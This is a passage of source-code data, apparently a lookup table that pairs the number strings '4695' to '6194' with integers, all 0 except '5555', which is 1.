}, { "4695", 0 }, { "4696", 0 }, { "4697", 0 }, { "4698", 0 }, { "4699", 0 }, { "4700", 0 }, { "4701", 0 }, { "4702", 0 }, { "4703", 0 }, { "4704", 0 }, { "4705", 0 }, { "4706", 0 }, { "4707", 0 }, { "4708", 0 }, { "4709", 0 }, { "4710", 0 }, { "4711", 0 }, { "4712", 0 }, { "4713", 0 }, { "4714", 0 }, { "4715", 0 }, { "4716", 0 }, { "4717", 0 }, { "4718", 0 }, { "4719", 0 }, { "4720", 0 }, { "4721", 0 }, { "4722", 0 }, { "4723", 0 }, { "4724", 0 }, { "4725", 0 }, { "4726", 0 }, { "4727", 0 }, { "4728", 0 }, { "4729", 0 }, { "4730", 0 }, { "4731", 0 }, { "4732", 0 }, { "4733", 0 }, { "4734", 0 }, { "4735", 0 }, { "4736", 0 }, { "4737", 0 }, { "4738", 0 }, { "4739", 0 }, { "4740", 0 }, { "4741", 0 }, { "4742", 0 }, { "4743", 0 }, { "4744", 0 }, { "4745", 0 }, { "4746", 0 }, { "4747", 0 }, { "4748", 0 }, { "4749", 0 }, { "4750", 0 }, { "4751", 0 }, { "4752", 0 }, { "4753", 0 }, { "4754", 0 }, { "4755", 0 }, { "4756", 0 }, { "4757", 0 }, { "4758", 0 }, { "4759", 0 }, { "4760", 0 }, { "4761", 0 }, { "4762", 0 }, { "4763", 0 }, { "4764", 0 }, { "4765", 0 }, { "4766", 0 }, { "4767", 0 }, { "4768", 0 }, { "4769", 0 }, { "4770", 0 }, { "4771", 0 }, { "4772", 0 }, { "4773", 0 }, { "4774", 0 }, { "4775", 0 }, { "4776", 0 }, { "4777", 0 }, { "4778", 0 }, { "4779", 0 }, { "4780", 0 }, { "4781", 0 }, { "4782", 0 }, { "4783", 0 }, { "4784", 0 }, { "4785", 0 }, { "4786", 0 }, { "4787", 0 }, { "4788", 0 }, { "4789", 0 }, { "4790", 0 }, { "4791", 0 }, { "4792", 0 }, { "4793", 0 }, { "4794", 0 }, { "4795", 0 }, { "4796", 0 }, { "4797", 0 }, { "4798", 0 }, { "4799", 0 }, { "4800", 0 }, { "4801", 0 }, { "4802", 0 }, { "4803", 0 }, { "4804", 0 }, { "4805", 0 }, { "4806", 0 }, { "4807", 0 }, { "4808", 0 }, { "4809", 0 }, { "4810", 0 }, { "4811", 0 }, { "4812", 0 }, { "4813", 0 }, { "4814", 0 }, { "4815", 0 }, { "4816", 0 }, { "4817", 0 }, { "4818", 0 }, { "4819", 0 }, { "4820", 0 }, { "4821", 0 }, { "4822", 0 }, { "4823", 0 }, { "4824", 0 }, { "4825", 0 }, { "4826", 0 }, { "4827", 0 }, { "4828", 0 }, { "4829", 0 }, { "4830", 0 }, { "4831", 0 }, { "4832", 0 }, { "4833", 0 }, { "4834", 0 }, { "4835", 0 }, { "4836", 0 }, { "4837", 0 }, { "4838", 0 }, { "4839", 0 }, { "4840", 0 }, { "4841", 0 }, { "4842", 0 }, { "4843", 0 }, { "4844", 0 }, { "4845", 0 }, { "4846", 0 }, { "4847", 0 }, { "4848", 0 }, { "4849", 0 }, { "4850", 0 }, { "4851", 0 }, { "4852", 0 }, { "4853", 0 }, { "4854", 0 }, { "4855", 0 }, { "4856", 0 }, { "4857", 0 }, { "4858", 0 }, { "4859", 0 }, { "4860", 0 }, { "4861", 0 }, { "4862", 0 }, { "4863", 0 }, { "4864", 0 }, { "4865", 0 }, { "4866", 0 }, { "4867", 0 }, { "4868", 0 }, { "4869", 0 }, { "4870", 0 }, { "4871", 0 }, { "4872", 0 }, { "4873", 0 }, { "4874", 0 }, { "4875", 0 }, { "4876", 0 }, { "4877", 0 }, { "4878", 0 }, { "4879", 0 }, { "4880", 0 }, { "4881", 0 }, { "4882", 0 }, { "4883", 0 }, { "4884", 0 }, { "4885", 0 }, { "4886", 0 }, { "4887", 0 }, { "4888", 0 }, { "4889", 0 }, { "4890", 0 }, { "4891", 0 }, { "4892", 0 }, { "4893", 0 }, { "4894", 0 }, { "4895", 0 }, { "4896", 0 }, { "4897", 0 }, { "4898", 0 }, { "4899", 0 }, { "4900", 0 }, { "4901", 0 }, { "4902", 0 }, { "4903", 0 }, { "4904", 0 }, { "4905", 0 }, { "4906", 0 }, { "4907", 0 }, { "4908", 0 }, { "4909", 0 }, { "4910", 0 }, { "4911", 0 }, { "4912", 0 }, { "4913", 0 }, { "4914", 0 }, { "4915", 0 }, { "4916", 0 }, { "4917", 0 }, { "4918", 0 }, { "4919", 0 }, { "4920", 0 }, { "4921", 0 }, { "4922", 0 }, { "4923", 0 }, { "4924", 0 }, { "4925", 0 }, { "4926", 0 }, { "4927", 0 }, { "4928", 0 }, { "4929", 0 }, { "4930", 0 }, { "4931", 0 }, { "4932", 0 }, { "4933", 0 }, { "4934", 0 }, { "4935", 0 }, { "4936", 0 }, { "4937", 0 }, { "4938", 0 }, { "4939", 0 }, { "4940", 0 }, { "4941", 0 }, { "4942", 0 }, { "4943", 0 }, { "4944", 0 }, { "4945", 0 }, { "4946", 0 }, { "4947", 0 }, { "4948", 0 }, { "4949", 0 }, { "4950", 0 }, { "4951", 0 }, { "4952", 0 }, { "4953", 0 }, { "4954", 0 }, { "4955", 0 }, { "4956", 0 }, { "4957", 0 }, { "4958", 0 }, { "4959", 0 }, { "4960", 0 }, { "4961", 0 }, { "4962", 0 }, { "4963", 0 }, { "4964", 0 }, { "4965", 0 }, { "4966", 0 }, { "4967", 0 }, { "4968", 0 }, { "4969", 0 }, { "4970", 0 }, { "4971", 0 }, { "4972", 0 }, { "4973", 0 }, { "4974", 0 }, { "4975", 0 }, { "4976", 0 }, { "4977", 0 }, { "4978", 0 }, { "4979", 0 }, { "4980", 0 }, { "4981", 0 }, { "4982", 0 }, { "4983", 0 }, { "4984", 0 }, { "4985", 0 }, { "4986", 0 }, { "4987", 0 }, { "4988", 0 }, { "4989", 0 }, { "4990", 0 }, { "4991", 0 }, { "4992", 0 }, { "4993", 0 }, { "4994", 0 }, { "4995", 0 }, { "4996", 0 }, { "4997", 0 }, { "4998", 0 }, { "4999", 0 }, { "5000", 0 }, { "5001", 0 }, { "5002", 0 }, { "5003", 0 }, { "5004", 0 }, { "5005", 0 }, { "5006", 0 }, { "5007", 0 }, { "5008", 0 }, { "5009", 0 }, { "5010", 0 }, { "5011", 0 }, { "5012", 0 }, { "5013", 0 }, { "5014", 0 }, { "5015", 0 }, { "5016", 0 }, { "5017", 0 }, { "5018", 0 }, { "5019", 0 }, { "5020", 0 }, { "5021", 0 }, { "5022", 0 }, { "5023", 0 }, { "5024", 0 }, { "5025", 0 }, { "5026", 0 }, { "5027", 0 }, { "5028", 0 }, { "5029", 0 }, { "5030", 0 }, { "5031", 0 }, { "5032", 0 }, { "5033", 0 }, { "5034", 0 }, { "5035", 0 }, { "5036", 0 }, { "5037", 0 }, { "5038", 0 }, { "5039", 0 }, { "5040", 0 }, { "5041", 0 }, { "5042", 0 }, { "5043", 0 }, { "5044", 0 }, { "5045", 0 }, { "5046", 0 }, { "5047", 0 }, { "5048", 0 }, { "5049", 0 }, { "5050", 0 }, { "5051", 0 }, { "5052", 0 }, { "5053", 0 }, { "5054", 0 }, { "5055", 0 }, { "5056", 0 }, { "5057", 0 }, { "5058", 0 }, { "5059", 0 }, { "5060", 0 }, { "5061", 0 }, { "5062", 0 }, { "5063", 0 }, { "5064", 0 }, { "5065", 0 }, { "5066", 0 }, { "5067", 0 }, { "5068", 0 }, { "5069", 0 }, { "5070", 0 }, { "5071", 0 }, { "5072", 0 }, { "5073", 0 }, { "5074", 0 }, { "5075", 0 }, { "5076", 0 }, { "5077", 0 }, { "5078", 0 }, { "5079", 0 }, { "5080", 0 }, { "5081", 0 }, { "5082", 0 }, { "5083", 0 }, { "5084", 0 }, { "5085", 0 }, { "5086", 0 }, { "5087", 0 }, { "5088", 0 }, { "5089", 0 }, { "5090", 0 }, { "5091", 0 }, { "5092", 0 }, { "5093", 0 }, { "5094", 0 }, { "5095", 0 }, { "5096", 0 }, { "5097", 0 }, { "5098", 0 }, { "5099", 0 }, { "5100", 0 }, { "5101", 0 }, { "5102", 0 }, { "5103", 0 }, { "5104", 0 }, { "5105", 0 }, { "5106", 0 }, { "5107", 0 }, { "5108", 0 }, { "5109", 0 }, { "5110", 0 }, { "5111", 0 }, { "5112", 0 }, { "5113", 0 }, { "5114", 0 }, { "5115", 0 }, { "5116", 0 }, { "5117", 0 }, { "5118", 0 }, { "5119", 0 }, { "5120", 0 }, { "5121", 0 }, { "5122", 0 }, { "5123", 0 }, { "5124", 0 }, { "5125", 0 }, { "5126", 0 }, { "5127", 0 }, { "5128", 0 }, { "5129", 0 }, { "5130", 0 }, { "5131", 0 }, { "5132", 0 }, { "5133", 0 }, { "5134", 0 }, { "5135", 0 }, { "5136", 0 }, { "5137", 0 }, { "5138", 0 }, { "5139", 0 }, { "5140", 0 }, { "5141", 0 }, { "5142", 0 }, { "5143", 0 }, { "5144", 0 }, { "5145", 0 }, { "5146", 0 }, { "5147", 0 }, { "5148", 0 }, { "5149", 0 }, { "5150", 0 }, { "5151", 0 }, { "5152", 0 }, { "5153", 0 }, { "5154", 0 }, { "5155", 0 }, { "5156", 0 }, { "5157", 0 }, { "5158", 0 }, { "5159", 0 }, { "5160", 0 }, { "5161", 0 }, { "5162", 0 }, { "5163", 0 }, { "5164", 0 }, { "5165", 0 }, { "5166", 0 }, { "5167", 0 }, { "5168", 0 }, { "5169", 0 }, { "5170", 0 }, { "5171", 0 }, { "5172", 0 }, { "5173", 0 }, { "5174", 0 }, { "5175", 0 }, { "5176", 0 }, { "5177", 0 }, { "5178", 0 }, { "5179", 0 }, { "5180", 0 }, { "5181", 0 }, { "5182", 0 }, { "5183", 0 }, { "5184", 0 }, { "5185", 0 }, { "5186", 0 }, { "5187", 0 }, { "5188", 0 }, { "5189", 0 }, { "5190", 0 }, { "5191", 0 }, { "5192", 0 }, { "5193", 0 }, { "5194", 0 }, { "5195", 0 }, { "5196", 0 }, { "5197", 0 }, { "5198", 0 }, { "5199", 0 }, { "5200", 0 }, { "5201", 0 }, { "5202", 0 }, { "5203", 0 }, { "5204", 0 }, { "5205", 0 }, { "5206", 0 }, { "5207", 0 }, { "5208", 0 }, { "5209", 0 }, { "5210", 0 }, { "5211", 0 }, { "5212", 0 }, { "5213", 0 }, { "5214", 0 }, { "5215", 0 }, { "5216", 0 }, { "5217", 0 }, { "5218", 0 }, { "5219", 0 }, { "5220", 0 }, { "5221", 0 }, { "5222", 0 }, { "5223", 0 }, { "5224", 0 }, { "5225", 0 }, { "5226", 0 }, { "5227", 0 }, { "5228", 0 }, { "5229", 0 }, { "5230", 0 }, { "5231", 0 }, { "5232", 0 }, { "5233", 0 }, { "5234", 0 }, { "5235", 0 }, { "5236", 0 }, { "5237", 0 }, { "5238", 0 }, { "5239", 0 }, { "5240", 0 }, { "5241", 0 }, { "5242", 0 }, { "5243", 0 }, { "5244", 0 }, { "5245", 0 }, { "5246", 0 }, { "5247", 0 }, { "5248", 0 }, { "5249", 0 }, { "5250", 0 }, { "5251", 0 }, { "5252", 0 }, { "5253", 0 }, { "5254", 0 }, { "5255", 0 }, { "5256", 0 }, { "5257", 0 }, { "5258", 0 }, { "5259", 0 }, { "5260", 0 }, { "5261", 0 }, { "5262", 0 }, { "5263", 0 }, { "5264", 0 }, { "5265", 0 }, { "5266", 0 }, { "5267", 0 }, { "5268", 0 }, { "5269", 0 }, { "5270", 0 }, { "5271", 0 }, { "5272", 0 }, { "5273", 0 }, { "5274", 0 }, { "5275", 0 }, { "5276", 0 }, { "5277", 0 }, { "5278", 0 }, { "5279", 0 }, { "5280", 0 }, { "5281", 0 }, { "5282", 0 }, { "5283", 0 }, { "5284", 0 }, { "5285", 0 }, { "5286", 0 }, { "5287", 0 }, { "5288", 0 }, { "5289", 0 }, { "5290", 0 }, { "5291", 0 }, { "5292", 0 }, { "5293", 0 }, { "5294", 0 }, { "5295", 0 }, { "5296", 0 }, { "5297", 0 }, { "5298", 0 }, { "5299", 0 }, { "5300", 0 }, { "5301", 0 }, { "5302", 0 }, { "5303", 0 }, { "5304", 0 }, { "5305", 0 }, { "5306", 0 }, { "5307", 0 }, { "5308", 0 }, { "5309", 0 }, { "5310", 0 }, { "5311", 0 }, { "5312", 0 }, { "5313", 0 }, { "5314", 0 }, { "5315", 0 }, { "5316", 0 }, { "5317", 0 }, { "5318", 0 }, { "5319", 0 }, { "5320", 0 }, { "5321", 0 }, { "5322", 0 }, { "5323", 0 }, { "5324", 0 }, { "5325", 0 }, { "5326", 0 }, { "5327", 0 }, { "5328", 0 }, { "5329", 0 }, { "5330", 0 }, { "5331", 0 }, { "5332", 0 }, { "5333", 0 }, { "5334", 0 }, { "5335", 0 }, { "5336", 0 }, { "5337", 0 }, { "5338", 0 }, { "5339", 0 }, { "5340", 0 }, { "5341", 0 }, { "5342", 0 }, { "5343", 0 }, { "5344", 0 }, { "5345", 0 }, { "5346", 0 }, { "5347", 0 }, { "5348", 0 }, { "5349", 0 }, { "5350", 0 }, { "5351", 0 }, { "5352", 0 }, { "5353", 0 }, { "5354", 0 }, { "5355", 0 }, { "5356", 0 }, { "5357", 0 }, { "5358", 0 }, { "5359", 0 }, { "5360", 0 }, { "5361", 0 }, { "5362", 0 }, { "5363", 0 }, { "5364", 0 }, { "5365", 0 }, { "5366", 0 }, { "5367", 0 }, { "5368", 0 }, { "5369", 0 }, { "5370", 0 }, { "5371", 0 }, { "5372", 0 }, { "5373", 0 }, { "5374", 0 }, { "5375", 0 }, { "5376", 0 }, { "5377", 0 }, { "5378", 0 }, { "5379", 0 }, { "5380", 0 }, { "5381", 0 }, { "5382", 0 }, { "5383", 0 }, { "5384", 0 }, { "5385", 0 }, { "5386", 0 }, { "5387", 0 }, { "5388", 0 }, { "5389", 0 }, { "5390", 0 }, { "5391", 0 }, { "5392", 0 }, { "5393", 0 }, { "5394", 0 }, { "5395", 0 }, { "5396", 0 }, { "5397", 0 }, { "5398", 0 }, { "5399", 0 }, { "5400", 0 }, { "5401", 0 }, { "5402", 0 }, { "5403", 0 }, { "5404", 0 }, { "5405", 0 }, { "5406", 0 }, { "5407", 0 }, { "5408", 0 }, { "5409", 0 }, { "5410", 0 }, { "5411", 0 }, { "5412", 0 }, { "5413", 0 }, { "5414", 0 }, { "5415", 0 }, { "5416", 0 }, { "5417", 0 }, { "5418", 0 }, { "5419", 0 }, { "5420", 0 }, { "5421", 0 }, { "5422", 0 }, { "5423", 0 }, { "5424", 0 }, { "5425", 0 }, { "5426", 0 }, { "5427", 0 }, { "5428", 0 }, { "5429", 0 }, { "5430", 0 }, { "5431", 0 }, { "5432", 0 }, { "5433", 0 }, { "5434", 0 }, { "5435", 0 }, { "5436", 0 }, { "5437", 0 }, { "5438", 0 }, { "5439", 0 }, { "5440", 0 }, { "5441", 0 }, { "5442", 0 }, { "5443", 0 }, { "5444", 0 }, { "5445", 0 }, { "5446", 0 }, { "5447", 0 }, { "5448", 0 }, { "5449", 0 }, { "5450", 0 }, { "5451", 0 }, { "5452", 0 }, { "5453", 0 }, { "5454", 0 }, { "5455", 0 }, { "5456", 0 }, { "5457", 0 }, { "5458", 0 }, { "5459", 0 }, { "5460", 0 }, { "5461", 0 }, { "5462", 0 }, { "5463", 0 }, { "5464", 0 }, { "5465", 0 }, { "5466", 0 }, { "5467", 0 }, { "5468", 0 }, { "5469", 0 }, { "5470", 0 }, { "5471", 0 }, { "5472", 0 }, { "5473", 0 }, { "5474", 0 }, { "5475", 0 }, { "5476", 0 }, { "5477", 0 }, { "5478", 0 }, { "5479", 0 }, { "5480", 0 }, { "5481", 0 }, { "5482", 0 }, { "5483", 0 }, { "5484", 0 }, { "5485", 0 }, { "5486", 0 }, { "5487", 0 }, { "5488", 0 }, { "5489", 0 }, { "5490", 0 }, { "5491", 0 }, { "5492", 0 }, { "5493", 0 }, { "5494", 0 }, { "5495", 0 }, { "5496", 0 }, { "5497", 0 }, { "5498", 0 }, { "5499", 0 }, { "5500", 0 }, { "5501", 0 }, { "5502", 0 }, { "5503", 0 }, { "5504", 0 }, { "5505", 0 }, { "5506", 0 }, { "5507", 0 }, { "5508", 0 }, { "5509", 0 }, { "5510", 0 }, { "5511", 0 }, { "5512", 0 }, { "5513", 0 }, { "5514", 0 }, { "5515", 0 }, { "5516", 0 }, { "5517", 0 }, { "5518", 0 }, { "5519", 0 }, { "5520", 0 }, { "5521", 0 }, { "5522", 0 }, { "5523", 0 }, { "5524", 0 }, { "5525", 0 }, { "5526", 0 }, { "5527", 0 }, { "5528", 0 }, { "5529", 0 }, { "5530", 0 }, { "5531", 0 }, { "5532", 0 }, { "5533", 0 }, { "5534", 0 }, { "5535", 0 }, { "5536", 0 }, { "5537", 0 }, { "5538", 0 }, { "5539", 0 }, { "5540", 0 }, { "5541", 0 }, { "5542", 0 }, { "5543", 0 }, { "5544", 0 }, { "5545", 0 }, { "5546", 0 }, { "5547", 0 }, { "5548", 0 }, { "5549", 0 }, { "5550", 0 }, { "5551", 0 }, { "5552", 0 }, { "5553", 0 }, { "5554", 0 }, { "5555", 1 }, { "5556", 0 }, { "5557", 0 }, { "5558", 0 }, { "5559", 0 }, { "5560", 0 }, { "5561", 0 }, { "5562", 0 }, { "5563", 0 }, { "5564", 0 }, { "5565", 0 }, { "5566", 0 }, { "5567", 0 }, { "5568", 0 }, { "5569", 0 }, { "5570", 0 }, { "5571", 0 }, { "5572", 0 }, { "5573", 0 }, { "5574", 0 }, { "5575", 0 }, { "5576", 0 }, { "5577", 0 }, { "5578", 0 }, { "5579", 0 }, { "5580", 0 }, { "5581", 0 }, { "5582", 0 }, { "5583", 0 }, { "5584", 0 }, { "5585", 0 }, { "5586", 0 }, { "5587", 0 }, { "5588", 0 }, { "5589", 0 }, { "5590", 0 }, { "5591", 0 }, { "5592", 0 }, { "5593", 0 }, { "5594", 0 }, { "5595", 0 }, { "5596", 0 }, { "5597", 0 }, { "5598", 0 }, { "5599", 0 }, { "5600", 0 }, { "5601", 0 }, { "5602", 0 }, { "5603", 0 }, { "5604", 0 }, { "5605", 0 }, { "5606", 0 }, { "5607", 0 }, { "5608", 0 }, { "5609", 0 }, { "5610", 0 }, { "5611", 0 }, { "5612", 0 }, { "5613", 0 }, { "5614", 0 }, { "5615", 0 }, { "5616", 0 }, { "5617", 0 }, { "5618", 0 }, { "5619", 0 }, { "5620", 0 }, { "5621", 0 }, { "5622", 0 }, { "5623", 0 }, { "5624", 0 }, { "5625", 0 }, { "5626", 0 }, { "5627", 0 }, { "5628", 0 }, { "5629", 0 }, { "5630", 0 }, { "5631", 0 }, { "5632", 0 }, { "5633", 0 }, { "5634", 0 }, { "5635", 0 }, { "5636", 0 }, { "5637", 0 }, { "5638", 0 }, { "5639", 0 }, { "5640", 0 }, { "5641", 0 }, { "5642", 0 }, { "5643", 0 }, { "5644", 0 }, { "5645", 0 }, { "5646", 0 }, { "5647", 0 }, { "5648", 0 }, { "5649", 0 }, { "5650", 0 }, { "5651", 0 }, { "5652", 0 }, { "5653", 0 }, { "5654", 0 }, { "5655", 0 }, { "5656", 0 }, { "5657", 0 }, { "5658", 0 }, { "5659", 0 }, { "5660", 0 }, { "5661", 0 }, { "5662", 0 }, { "5663", 0 }, { "5664", 0 }, { "5665", 0 }, { "5666", 0 }, { "5667", 0 }, { "5668", 0 }, { "5669", 0 }, { "5670", 0 }, { "5671", 0 }, { "5672", 0 }, { "5673", 0 }, { "5674", 0 }, { "5675", 0 }, { "5676", 0 }, { "5677", 0 }, { "5678", 0 }, { "5679", 0 }, { "5680", 0 }, { "5681", 0 }, { "5682", 0 }, { "5683", 0 }, { "5684", 0 }, { "5685", 0 }, { "5686", 0 }, { "5687", 0 }, { "5688", 0 }, { "5689", 0 }, { "5690", 0 }, { "5691", 0 }, { "5692", 0 }, { "5693", 0 }, { "5694", 0 }, { "5695", 0 }, { "5696", 0 }, { "5697", 0 }, { "5698", 0 }, { "5699", 0 }, { "5700", 0 }, { "5701", 0 }, { "5702", 0 }, { "5703", 0 }, { "5704", 0 }, { "5705", 0 }, { "5706", 0 }, { "5707", 0 }, { "5708", 0 }, { "5709", 0 }, { "5710", 0 }, { "5711", 0 }, { "5712", 0 }, { "5713", 0 }, { "5714", 0 }, { "5715", 0 }, { "5716", 0 }, { "5717", 0 }, { "5718", 0 }, { "5719", 0 }, { "5720", 0 }, { "5721", 0 }, { "5722", 0 }, { "5723", 0 }, { "5724", 0 }, { "5725", 0 }, { "5726", 0 }, { "5727", 0 }, { "5728", 0 }, { "5729", 0 }, { "5730", 0 }, { "5731", 0 }, { "5732", 0 }, { "5733", 0 }, { "5734", 0 }, { "5735", 0 }, { "5736", 0 }, { "5737", 0 }, { "5738", 0 }, { "5739", 0 }, { "5740", 0 }, { "5741", 0 }, { "5742", 0 }, { "5743", 0 }, { "5744", 0 }, { "5745", 0 }, { "5746", 0 }, { "5747", 0 }, { "5748", 0 }, { "5749", 0 }, { "5750", 0 }, { "5751", 0 }, { "5752", 0 }, { "5753", 0 }, { "5754", 0 }, { "5755", 0 }, { "5756", 0 }, { "5757", 0 }, { "5758", 0 }, { "5759", 0 }, { "5760", 0 }, { "5761", 0 }, { "5762", 0 }, { "5763", 0 }, { "5764", 0 }, { "5765", 0 }, { "5766", 0 }, { "5767", 0 }, { "5768", 0 }, { "5769", 0 }, { "5770", 0 }, { "5771", 0 }, { "5772", 0 }, { "5773", 0 }, { "5774", 0 }, { "5775", 0 }, { "5776", 0 }, { "5777", 0 }, { "5778", 0 }, { "5779", 0 }, { "5780", 0 }, { "5781", 0 }, { "5782", 0 }, { "5783", 0 }, { "5784", 0 }, { "5785", 0 }, { "5786", 0 }, { "5787", 0 }, { "5788", 0 }, { "5789", 0 }, { "5790", 0 }, { "5791", 0 }, { "5792", 0 }, { "5793", 0 }, { "5794", 0 }, { "5795", 0 }, { "5796", 0 }, { "5797", 0 }, { "5798", 0 }, { "5799", 0 }, { "5800", 0 }, { "5801", 0 }, { "5802", 0 }, { "5803", 0 }, { "5804", 0 }, { "5805", 0 }, { "5806", 0 }, { "5807", 0 }, { "5808", 0 }, { "5809", 0 }, { "5810", 0 }, { "5811", 0 }, { "5812", 0 }, { "5813", 0 }, { "5814", 0 }, { "5815", 0 }, { "5816", 0 }, { "5817", 0 }, { "5818", 0 }, { "5819", 0 }, { "5820", 0 }, { "5821", 0 }, { "5822", 0 }, { "5823", 0 }, { "5824", 0 }, { "5825", 0 }, { "5826", 0 }, { "5827", 0 }, { "5828", 0 }, { "5829", 0 }, { "5830", 0 }, { "5831", 0 }, { "5832", 0 }, { "5833", 0 }, { "5834", 0 }, { "5835", 0 }, { "5836", 0 }, { "5837", 0 }, { "5838", 0 }, { "5839", 0 }, { "5840", 0 }, { "5841", 0 }, { "5842", 0 }, { "5843", 0 }, { "5844", 0 }, { "5845", 0 }, { "5846", 0 }, { "5847", 0 }, { "5848", 0 }, { "5849", 0 }, { "5850", 0 }, { "5851", 0 }, { "5852", 0 }, { "5853", 0 }, { "5854", 0 }, { "5855", 0 }, { "5856", 0 }, { "5857", 0 }, { "5858", 0 }, { "5859", 0 }, { "5860", 0 }, { "5861", 0 }, { "5862", 0 }, { "5863", 0 }, { "5864", 0 }, { "5865", 0 }, { "5866", 0 }, { "5867", 0 }, { "5868", 0 }, { "5869", 0 }, { "5870", 0 }, { "5871", 0 }, { "5872", 0 }, { "5873", 0 }, { "5874", 0 }, { "5875", 0 }, { "5876", 0 }, { "5877", 0 }, { "5878", 0 }, { "5879", 0 }, { "5880", 0 }, { "5881", 0 }, { "5882", 0 }, { "5883", 0 }, { "5884", 0 }, { "5885", 0 }, { "5886", 0 }, { "5887", 0 }, { "5888", 0 }, { "5889", 0 }, { "5890", 0 }, { "5891", 0 }, { "5892", 0 }, { "5893", 0 }, { "5894", 0 }, { "5895", 0 }, { "5896", 0 }, { "5897", 0 }, { "5898", 0 }, { "5899", 0 }, { "5900", 0 }, { "5901", 0 }, { "5902", 0 }, { "5903", 0 }, { "5904", 0 }, { "5905", 0 }, { "5906", 0 }, { "5907", 0 }, { "5908", 0 }, { "5909", 0 }, { "5910", 0 }, { "5911", 0 }, { "5912", 0 }, { "5913", 0 }, { "5914", 0 }, { "5915", 0 }, { "5916", 0 }, { "5917", 0 }, { "5918", 0 }, { "5919", 0 }, { "5920", 0 }, { "5921", 0 }, { "5922", 0 }, { "5923", 0 }, { "5924", 0 }, { "5925", 0 }, { "5926", 0 }, { "5927", 0 }, { "5928", 0 }, { "5929", 0 }, { "5930", 0 }, { "5931", 0 }, { "5932", 0 }, { "5933", 0 }, { "5934", 0 }, { "5935", 0 }, { "5936", 0 }, { "5937", 0 }, { "5938", 0 }, { "5939", 0 }, { "5940", 0 }, { "5941", 0 }, { "5942", 0 }, { "5943", 0 }, { "5944", 0 }, { "5945", 0 }, { "5946", 0 }, { "5947", 0 }, { "5948", 0 }, { "5949", 0 }, { "5950", 0 }, { "5951", 0 }, { "5952", 0 }, { "5953", 0 }, { "5954", 0 }, { "5955", 0 }, { "5956", 0 }, { "5957", 0 }, { "5958", 0 }, { "5959", 0 }, { "5960", 0 }, { "5961", 0 }, { "5962", 0 }, { "5963", 0 }, { "5964", 0 }, { "5965", 0 }, { "5966", 0 }, { "5967", 0 }, { "5968", 0 }, { "5969", 0 }, { "5970", 0 }, { "5971", 0 }, { "5972", 0 }, { "5973", 0 }, { "5974", 0 }, { "5975", 0 }, { "5976", 0 }, { "5977", 0 }, { "5978", 0 }, { "5979", 0 }, { "5980", 0 }, { "5981", 0 }, { "5982", 0 }, { "5983", 0 }, { "5984", 0 }, { "5985", 0 }, { "5986", 0 }, { "5987", 0 }, { "5988", 0 }, { "5989", 0 }, { "5990", 0 }, { "5991", 0 }, { "5992", 0 }, { "5993", 0 }, { "5994", 0 }, { "5995", 0 }, { "5996", 0 }, { "5997", 0 }, { "5998", 0 }, { "5999", 0 }, { "6000", 0 }, { "6001", 0 }, { "6002", 0 }, { "6003", 0 }, { "6004", 0 }, { "6005", 0 }, { "6006", 0 }, { "6007", 0 }, { "6008", 0 }, { "6009", 0 }, { "6010", 0 }, { "6011", 0 }, { "6012", 0 }, { "6013", 0 }, { "6014", 0 }, { "6015", 0 }, { "6016", 0 }, { "6017", 0 }, { "6018", 0 }, { "6019", 0 }, { "6020", 0 }, { "6021", 0 }, { "6022", 0 }, { "6023", 0 }, { "6024", 0 }, { "6025", 0 }, { "6026", 0 }, { "6027", 0 }, { "6028", 0 }, { "6029", 0 }, { "6030", 0 }, { "6031", 0 }, { "6032", 0 }, { "6033", 0 }, { "6034", 0 }, { "6035", 0 }, { "6036", 0 }, { "6037", 0 }, { "6038", 0 }, { "6039", 0 }, { "6040", 0 }, { "6041", 0 }, { "6042", 0 }, { "6043", 0 }, { "6044", 0 }, { "6045", 0 }, { "6046", 0 }, { "6047", 0 }, { "6048", 0 }, { "6049", 0 }, { "6050", 0 }, { "6051", 0 }, { "6052", 0 }, { "6053", 0 }, { "6054", 0 }, { "6055", 0 }, { "6056", 0 }, { "6057", 0 }, { "6058", 0 }, { "6059", 0 }, { "6060", 0 }, { "6061", 0 }, { "6062", 0 }, { "6063", 0 }, { "6064", 0 }, { "6065", 0 }, { "6066", 0 }, { "6067", 0 }, { "6068", 0 }, { "6069", 0 }, { "6070", 0 }, { "6071", 0 }, { "6072", 0 }, { "6073", 0 }, { "6074", 0 }, { "6075", 0 }, { "6076", 0 }, { "6077", 0 }, { "6078", 0 }, { "6079", 0 }, { "6080", 0 }, { "6081", 0 }, { "6082", 0 }, { "6083", 0 }, { "6084", 0 }, { "6085", 0 }, { "6086", 0 }, { "6087", 0 }, { "6088", 0 }, { "6089", 0 }, { "6090", 0 }, { "6091", 0 }, { "6092", 0 }, { "6093", 0 }, { "6094", 0 }, { "6095", 0 }, { "6096", 0 }, { "6097", 0 }, { "6098", 0 }, { "6099", 0 }, { "6100", 0 }, { "6101", 0 }, { "6102", 0 }, { "6103", 0 }, { "6104", 0 }, { "6105", 0 }, { "6106", 0 }, { "6107", 0 }, { "6108", 0 }, { "6109", 0 }, { "6110", 0 }, { "6111", 0 }, { "6112", 0 }, { "6113", 0 }, { "6114", 0 }, { "6115", 0 }, { "6116", 0 }, { "6117", 0 }, { "6118", 0 }, { "6119", 0 }, { "6120", 0 }, { "6121", 0 }, { "6122", 0 }, { "6123", 0 }, { "6124", 0 }, { "6125", 0 }, { "6126", 0 }, { "6127", 0 }, { "6128", 0 }, { "6129", 0 }, { "6130", 0 }, { "6131", 0 }, { "6132", 0 }, { "6133", 0 }, { "6134", 0 }, { "6135", 0 }, { "6136", 0 }, { "6137", 0 }, { "6138", 0 }, { "6139", 0 }, { "6140", 0 }, { "6141", 0 }, { "6142", 0 }, { "6143", 0 }, { "6144", 0 }, { "6145", 0 }, { "6146", 0 }, { "6147", 0 }, { "6148", 0 }, { "6149", 0 }, { "6150", 0 }, { "6151", 0 }, { "6152", 0 }, { "6153", 0 }, { "6154", 0 }, { "6155", 0 }, { "6156", 0 }, { "6157", 0 }, { "6158", 0 }, { "6159", 0 }, { "6160", 0 }, { "6161", 0 }, { "6162", 0 }, { "6163", 0 }, { "6164", 0 }, { "6165", 0 }, { "6166", 0 }, { "6167", 0 }, { "6168", 0 }, { "6169", 0 }, { "6170", 0 }, { "6171", 0 }, { "6172", 0 }, { "6173", 0 }, { "6174", 0 }, { "6175", 0 }, { "6176", 0 }, { "6177", 0 }, { "6178", 0 }, { "6179", 0 }, { "6180", 0 }, { "6181", 0 }, { "6182", 0 }, { "6183", 0 }, { "6184", 0 }, { "6185", 0 }, { "6186", 0 }, { "6187", 0 }, { "6188", 0 }, { "6189", 0 }, { "6190", 0 }, { "6191", 0 }, { "6192", 0 }, { "6193", 0 }, { "6194", 0 